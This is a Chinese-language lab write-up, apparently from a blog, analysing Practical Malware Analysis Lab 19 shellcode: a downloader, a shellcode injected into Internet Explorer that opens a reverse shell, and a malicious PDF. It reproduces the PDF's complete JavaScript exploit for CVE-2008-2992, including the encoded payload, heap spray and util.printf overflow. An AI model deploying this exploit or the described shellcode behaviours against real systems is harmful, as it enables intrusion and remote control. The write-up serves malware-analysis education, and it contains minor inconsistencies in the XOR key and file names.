恶意代码分析实战 16 Shellcode分析

news2025/1/12 19:08:07

16.1 Lab19-01

将程序载入IDA。
chrome_WVSzr1fp3B.png
一堆ecx自增的操作。到200是正常的代码段。
chrome_S7YBasEyyp.png
shellcode的解码器也是从这里开始的,一开始的xor用于清空ecx,之后将18dh赋给cx,jmp来到loc_21f,而在下图可以看到loc_21调用sub_208,在call指令执行后,就会把下一条指令的地址也就是224压到栈顶。
如下所示。
chrome_NXOXsFuE4Y.png
可见这里是一个循环,循环体外的202处看到ecx被赋值18dh,循环体中的21B处有dec ecx,这说明ecx是起到计数器的作用,将光标定位到sub_208,按空格键切换模式。
chrome_59HjPpHEVw.png
切换回来,208处pop指令会将栈顶也就是224这个地址赋给esi,之后push则是将其压栈,mov指令将esi赋给edi,lodsb指令在这里是将esi赋给eax,esi中的地址是224,该地址的值是多少呢?我们光标定位到224,按d键。
chrome_gj4wOzI3Ac.png
可以看到该地址的值是49h,也就是将49h赋给eax,之后al赋给dl,dl此时的值就是49h,dl减去41h,所得结果左移4位,然后esi自增,变成了225,同样定位225,按d键,结果如下。
chrome_9HwCN5E7mQ.png

问题

  1. 这段shellcode是如何编码的?

这个shellcode使用了一种字母编码的方式,攻击负载的一个字节存储在两个编码字节的低4比特位。

  1. 这段shellcode手动导入了哪个函数?

shellcode导入了:
LoadL ibraryA
GetSystemDirectoryA
WinExec
URLDownloadToFileA
从上图可以看到shellcode会连接到http://www.practicalmalwareanalysis. com/shellcode/annoy_user. exe

  1. 这段shellcode和哪个网络主机通信?

http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe。
使用URLDownloadToFile将annoy_user.exe下载后保存为了system32目录下的1.exe文件,之后会通过winexec来运行。

  1. 这段shellcode在文件系统上留下了什么迹象

shellcode 在文件系统上写了文件%SystemRoot%\System32\I.exe,并运行它。

  1. 这段shellcode做了什么?

shellcode 会从指定的URL下载文件,将下载的文件写到硬盘,并运行它。

16.2 Lab19-02

把样本拖入VT内分析:
chrome_cqFVvb163W.png
可以看到爆红,查看一下细节, 发现了IE浏览器进程被创建了。
chrome_Ib1iW5XYPU.png
查看一下导入函数,发现导入了提权相关API。
chrome_LBZsnJ7rFs.png
还有远线程注入以及进程创建相关的API ==========>当然,通过PEID或者depends工具都是可以看到该exe导入的函数!
chrome_Q6ACZ4I91C.png
现在把程序拖入IDA中,一上来就获取了debug权限,后来就获取了IE的路径。
chrome_fn1YzBHq4p.png
其打开了注册表的HKEY_LOCAL_MACHINE\http\shell\open\command项, 即IE的路径,这个命令行执行后会打开IE浏览器。
chrome_0zI8e654yn.png
接着就以隐藏方式开启了IE浏览器,接着把shellcode注入到IE浏览器内部。
chrome_FNREzKe5kZ.png
chrome_oS46GpDmJY.png
这里是创建远线程进行注入的代码:。
chrome_qvJzDJ2rhf.png
shellcode的首地址以参数形式传递给了函数。
chrome_hUf7quwgKO.png
获取shellcode的首地址:
chrome_QihanA8VsA.png
接下来我们直接用Ollydbg来调试shellcode, 将EIP指针指向该shellcode的首地址。
chrome_oSEvpJjqAG.png
0xE7是秘钥, 利用这个来解密代码。
chrome_QauEHaJqpJ.png
注意这段代码, 它的首地址是0x407048。
chrome_1nceceFUGs.png
问题

  1. 这段shellcode被注入到什么进程中?

这个程序进程注入默认浏览器Internet Explorer中。

  1. 这段shellcode位于哪里?

shellcode的缓存区位于0x407030位置。

  1. 这段shellcode是如何被编码的?

shellcode与字节0x7e异或。

  1. 这段shellcode手动导入了哪个函数

shellcode导入以下函数:

  • LoadLibraryA
  • CreateProcessA
  • TerminateProcess
  • GetCurrentProcess
  • WSAStarup
  • WSASocketA
  • connect
  1. 这段shellcode和什么网络主机进行通信?

shellcode在TCP端口13330上连接IP地址192.168.200.2

  1. 这段shellcode做了什么?

这个shellcode提供了一个远程shell(cmd.exe)。

16.3 Lab19-03

问题

  1. 这个PDF中使用了什么漏洞

使用PDFStreamDumper软件打开Lab19-03.pdf,点击Exploits_Scan。
vmware_lyGmiDGjmx.png
得到如下内容:

Exploit CVE-2008-2992 Date:11.4.08 v8.1.2 - util.printf - found in stream: 9

Note other exploits may be hidden with javascript obsfuscation
It is also possible these functions are being used in a non-exploit way.

PDF文件中包含一个CVE-2008-2992漏洞利用的例子:与Adobe Reader的util.printf的JavaScript实现相关的缓冲区溢出函数。

  1. 这段shellcode是如何编码的?

点击此处。
vmware_S4vyggqlSt.png
此处包含了一个打开PDF将被运行的JavaScript脚本。

var payload = unescape("%ue589%uec81%u017c%u0000%u6ee8%u0001%u8e00%u0e4e%u72ec%ub3fe%u8316%ub5b9%ue678%u8f17%u337b%u8aca%u4f5b%uc703%ua5bf%u0017%uad7c%u7d9b%uacdf%uda08%u1676%ufa65%u1f10%u0a79%ufbe8%ufd97%uec0f%u0397%uf60c%ub922%u5e7c%ue1bb%u021b%u00c6%u6f00%u0010%u0000%u00a0%u6f00%u00b0%u4e00%u0014%u5600%u8b57%u2474%u310c%ufcff%uc031%u38ac%u74e0%uc10a%u0dcf%uc701%uefe9%uffff%u89ff%u5ff8%uc25e%u0004%u8b60%u246c%u8b24%u3c45%u548b%u7805%uea01%u4a8b%u8b18%u205a%ueb01%u2ae3%u8b49%u8b34%uee01%ue856%uffbb%uffff%u443b%u2824%uec75%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%ue9e8%u0002%u0000%uc031%u4489%u1c24%uc261%u0008%u3156%u64c0%u408b%u8530%u78c0%u8b0f%u0c40%u708b%uad1c%u408b%ue908%u0005%u0000%ufbe9%uffff%u5eff%u55c3%ue589%uec83%u6008%u758b%u890c%u8bf7%u1455%u4d8b%uac10%ud030%uc2fe%ue2aa%u6af8%u6a00%u6a02%u6a04%u6a00%u6803%u0000%u4000%u458b%u5018%u5d8b%uff08%u1853%u4589%ufffc%u1075%u75ff%u500c%u73ff%ue828%u000d%u0000%u75ff%ufffc%u2c53%u8961%u5dec%u14c2%u5500%ue589%uc031%u5050%u8d60%ufc75%u7d8d%u8bf8%u1055%u5503%u8bfc%u1445%u452b%u68fc%u0000%u0000%u5057%uff52%u0c75%u55ff%u8508%u74c0%u8b0b%u0107%u8b06%u3b16%u1455%ud772%u8961%u5dec%u10c2%u5e00%u7589%u89ec%u89f7%ue8f3%uff42%uffff%u4589%ub9fc%u000e%u0000%u50ad%u75ff%ue8fc%ufee4%uffff%ue2ab%u68f3%u336c%u0032%u7368%u6568%u896c%u50e0%u13ff%uad91%u5150%uc9e8%ufffe%uabff%uf631%u5d8b%u81ec%u04c6%u0000%u8d00%uf845%u5650%u53ff%u3b1c%u3c43%ued75%u7589%u31f8%uffd2%u4473%uff52%u3053%uc085%u840f%u0131%u0000%u4589%u31f4%u52d2%uff52%u4073%u75ff%ufff8%u2053%u73ff%uff44%uf475%u75ff%ufff8%u2473%u3ae8%uffff%u31ff%u8dc0%udcbd%ufffe%ub9ff%u0040%u0000%uabf3%ubd8d%ufedc%uffff%u6857%u0100%u0000%u53ff%u3110%u8dc0%udcbd%ufffe%uf2ff%u4fae%u7d89%uc7e4%u6607%u6f6f%uc72e%u0447%u7865%u0065%u5d8b%u8dec%udc85%ufffe%u50ff%u4a68%u0000%uff00%u4473%u75ff%u53f4%u94e8%ufffe%u31ff%u8dc0%u88bd%ufffe%ub9ff%u0015%u0000%uabf3%u958d%ufe88%uffff%u8d52%u9895%ufffe%u52ff%u5050%u6850%uffff%uffff%u5050%u8d50%udc85%ufffe%u50ff%u53ff%uff04%uf475%u53ff%u3134%u8bd2%uec5d%u73ff%u524c%u53ff%u8530%u74c0%u8974%uf045%ud231%u5252%u73ff%uff48%uf875%u53ff%uff20%u4c73%u75ff%ufff0%uf875%u73ff%ue824%ufe7d%uffff%u458b%uc7e4%u6200%u7261%uc72e%u0440%u6470%u0066%u858d%ufedc%uffff%u6a50%u8b4a%uec5d%u73ff%uff4c%uf075%ue853%ufe03%uffff%uc931%u858d%ufe98%uffff%u00c7%u706f%u6e65%u40c6%u0004%u0568%u0000%u5100%u8d51%udc85%ufffe%u50ff%u858d%ufe98%uffff%u5150%u53ff%uff38%u0c53%u0068%u0000%u5000%u53ff%u9008%u9090");
var version = app.viewerVersion;
app.alert("Running PDF JavaScript!");
if (version >= 8 && version < 9) {
    var payload;
    nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
    heapblock = nop + payload;
    bigblock = unescape("%u0A0A%u0A0A");
    headersize = 20;
    spray = headersize+heapblock.length;
    while (bigblock.length<spray) {
        bigblock+=bigblock;
    }
    fillblock = bigblock.substring(0, spray);
    block = bigblock.substring(0, bigblock.length-spray);
    while(block.length+spray < 0x40000) {
        block = block+block+fillblock;
    }
    mem = new Array();
    for (i=0;i<1400;i++) {
        mem[i] = block + heapblock;
    }
    var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
    util.printf("%45000f",num);
} else {
    app.alert("Unknown PDF version!");
}

unescape函数和一个长的文本字符串和初始化攻击负载。unescape按下列方法翻译每个%字符串。

  • 如果%后跟一个u,则它取出后面4个字符,将它们作为一个ASCII的十六进制,并且将它转化为2个字节。由于大小端的原因,输出次序将会被交换。
  • 如果%后没有跟一个u,则取出后面2个字符,将它们作为一个ASCII的十六进制,并且将其翻译至一个字节。

例如,以%ue589%uec81%u017c开头的字符串将被转化为十六进制的序列,0x89 0xe5 0x81 0xec 0x7c 0x01。

  1. 这段shellcode手动导入了哪个函数?

scdbg -f Lab19-03_sc.bin -fopen Lab19-03.pdf -i

vmware_Tf4Q1i3C81.png
这个shellcode手动导入如下函数:
msedge_c5PsBAKJqN.png

  1. 这段shellcode在文件系统上留下了什么迹象?

看一下scdbg的结果,可以发现,shellcode在文件系统上创建文件%TEMP%\foo.exe与%TEMP%\bar.pdf。

  1. 这段shellcode做了什么?

使用IDA打开Lab19-03_sc.bin文件,在此处点击c转换成代码。
vmware_ZhQMMkDy0X.png
shellcode开头使用call/pop技术获取一个全局数据的指针。
vmware_qZmd7H4uOI.png
vmware_ZUhOPvbQ4j.png
0x183是Lab19-01中描述的findKernel32Base,0x195是findSymbolByHash函数。
shellcode循环遍历符号哈希数组,解析它们并将它们存回来创建一个函数指针数组。在①处,它对kernel做了14次操作。然后,在②处,shellcode向栈中压入两个DWORD值来创建字符串shell32,并将其作为LoadLibraryA的参数。只有一个来自shell32.dll的导出项被解析,冰杯加入导函数指针数组中。
shellcode从PDF中提取其中存储的两个编码文件,并且将它们写入%TEMP%目录。同时,它运行foo.exe文件,并用默认的处理器打开bar.pdf文件。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/179157.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

40.Isaac教程--3D 物体姿态优化

3D 物体姿态优化 ISAAC教程合集地址: https://blog.csdn.net/kunhe0512/category_12163211.html 3D 物体姿态优化在操作等应用中起着至关重要的作用&#xff0c;在这些应用中&#xff0c;检测到的物体的位置会影响机器人的整体性能。 Isaac SDK 中的 3D 对象姿势优化应用程序提…

7. 好客租房-项目日常推进ing

7. 好客租房-项目日常推进ing 本章节不涉及大量内容,主要是为了推荐项目代码日常进度而设置, 包括添加mock接口, 添加更新房源接口, 为系统添加缓存. 7.1 为前端系统提供mock服务 往往在项目开发中, 为实现前后端并行开发&#xff0c;后端需要对前端所有的请求都都进行支持。…

2022年度总结——2022我在CSDN的那些事暨2023我的目标展望:Pursue freedom Realize self-worth

&#x1f4cb;前言 关于年度征文&#xff1a; 活动地址&#xff1a;2022年度征文活动页-CSDN &#x1f4da;文章目录 &#x1f4cb;前言 &#x1f3af;再见2022&#xff0c;2023新年快乐 &#x1f3af;回顾2022——“我”与我在CSDN的那些事 &#x1f9e9;伊始——CSDN&…

Allegro如何做镂空丝印操作指导

Allegro如何做镂空丝印操作指导 在PCB设计丝印的时候,会需要画镂空的丝印,Allegro升级到了172版本的时候,可以画镂空的丝印,如下图 具体操作如下 选择Shape Add Rect命令Options选择需要画到的层面,比如Silkscreen TOP层

Lesson1:走进C++的殿堂

首先在此声明一下&#xff0c;C的学习需要C语言的基础&#xff0c;不先学习C语言而直接学C是不现实的。市面上任何一本C的书籍&#xff0c;前几章的内容一定涉及到C语言的学习。 一、什么是C 照片上的这位老人便是C语言之父——本贾尼斯特劳斯特卢普&#xff08;Bjarne Stroust…

JavaScript学习

JavaScript 是一门跨平台、面向对象的脚本语言&#xff0c;而Java语言也是跨平台的、面向对象的语言&#xff0c;只不过Java是编译语言&#xff0c;是需要编译成字节码文件才能运行的&#xff1b;JavaScript是脚本语言&#xff0c;不需要编译&#xff0c;由浏览器直接解析并执行…

Spring核心模块解析—BeanDifinition。

BeanDifinition前言什么是BeanDefinition&#xff1f;为什么要有BeanDefinition&#xff1f;BeanDifinition重点源码总结前言 Spring中的BeanDifinition在Bean的实例化流程中占有着非常重要的角色&#xff0c;如果你不了解BeanDifinition的话&#xff0c;面试或者学习Bean的生…

【Leetcode每日一题】69. x 的平方根/Sqrt(x)|二分查找---day3

博主简介&#xff1a;努力学习的预备程序媛一枚~博主主页&#xff1a; 是瑶瑶子啦所属专栏: LeetCode每日一题–进击大厂 目录题目描述题目分析&#xff1a;代码分析&#xff1a;题目描述 链接: 69. x 的平方根/Sqrt(x) 给你一个非负整数 x &#xff0c;计算并返回 x 的 算术…

10+种编程语言做个计算器

用十种编程语言开发计算器应用 C语言C#&#xff08;windows桌面软件&#xff09;Swift &#xff08;ios应用&#xff09;pythonDart&#xff08;Flutter应用&#xff0c;跨平台&#xff0c;适用安卓、ios、mac、windows、web&#xff09;Java&#xff08;安卓App&#xff09;K…

【Linux】多线程同步与互斥

目录&#x1f308;前言&#x1f338;1、Linux线程同步&#x1f368;1.1、同步概念与竞态条件&#x1f367;1.2、条件变量&#x1f33a;2、条件变量相关API&#x1f368;2.1、初始化和销毁条件变量&#x1f367;2.2、阻塞等待条件满足&#x1f383;2.3、唤醒阻塞等待的条件变量&…

python数据可视化开发:Matplotlib库参数配置基础知识

文章目录前言01.工具栏组件02.数据03.设置字体字典&#xff08;1&#xff09;全局字体样式&#xff08;2&#xff09;常用中文字体对应名称&#xff08;3&#xff09;查询当前系统所有字体04.图像配置实例05.图表标题06.文本组件07.坐标轴标签组件08.网格组件09.绘制折线10.图例…

传染疾病模型

1 分支过程 1.1 工作原理 第一波疫情 假设一个人携带一种新的病毒&#xff0c;以独立的概率p将疾病传染给遇到的每一个人假设这个人在感染期遇到了k个人 ——>这k个人是该疾病传染的第一波基于疾病是随机传染的&#xff0c;所以第一波中有些人会感染疾病&#xff0c;有些人…

一篇基于深度学习的命名实体识别技术的研究报告

一篇基于深度学习的命名实体识别技术的研究报告 本篇文章主要是自己刚接触NER领域时&#xff0c;研读这篇《 A Survey on Deep Learning for Named Entity Recognition 》NER综述论文时翻译的中文版&#xff0c;这篇综述时间是2020年&#xff0c;可能近两年的部分成果暂未包含…

Python数据可视化(一)图表组成元素

1.1绘制 matplotlib 图表组成元素的主要函数matplotlib 是如何组织内容的&#xff1f;在一个图形输出窗口中&#xff0c;底层是一个 Figure实例&#xff0c;我们通常称之为画布&#xff0c;包含一些可见和不可见的元素。在画布上&#xff0c;自然是图形&#xff0c;这些图形就是…

Java---微服务---RabbitMQ部署

RabbitMQ部署1.单机部署1.1.下载镜像1.2.安装MQ1.3访问管理端2.集群部署2.1.集群分类2.2.设置网络1.单机部署 我们在Centos7虚拟机中使用Docker来安装&#xff0c;如未安装dockr&#xff0c;请参考《Centos7安装Docker》 1.1.下载镜像 方式一&#xff1a;在线拉取 docker …

剑指Offer 第3天、第4天

剑指 Offer 05. 替换空格 class Solution { public:string replaceSpace(string s) {string res;for(auto e : s){if(e ){res%;res2;res0;}elserese;}return res;} }; 剑指 Offer 58 - II. 左旋转字符串 class Solution { public:string reverseLeftWords(string s, int n) {…

java spring IOC xml方式注入对象类型的list集合数据

我们新创建一个java项目 然后引入spring的基本依赖 在src下创建一个collectiontype 包 在 collectiontype 包下创建一个 Course类 参考代码如下 package collectiontype;//课程类 public class Course {//课程名称private String cname;public void setCname(String cname) …

Java---微服务---RabbitMQ入门与应用

RabbitMQ入门与应用1.初识MQ1.1.同步和异步通讯1.1.1.同步通讯1.1.2.异步通讯1.2.技术对比&#xff1a;2.快速入门2.1.安装RabbitMQ2.2.RabbitMQ消息模型2.3.导入Demo工程2.4.入门案例2.4.1.publisher实现2.4.2.consumer实现2.5.总结3.SpringAMQP3.1.Basic Queue 简单队列模型3…

浅析一条SQL在mysql中是如何执行的

一. Mysql内部组件结构 MySql大体分为server层和存储引擎层&#xff0c; server层 主要包括连接器、查询缓存、分析器、优化器、执行器等&#xff0c;涵盖 MySQL 的大多数核心服务功能&#xff0c;以及所有的内置函数&#xff08;如日期、时间、数学和加密函数等&#xff09;…

spring boot整合redis中间件与热部署实现

热部署 每次写完程序后都需要重启服务器&#xff0c;需要大量的时间&#xff0c;spring boot提供了一款工具devtools帮助实现热部署。 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-devtools</artifactId>…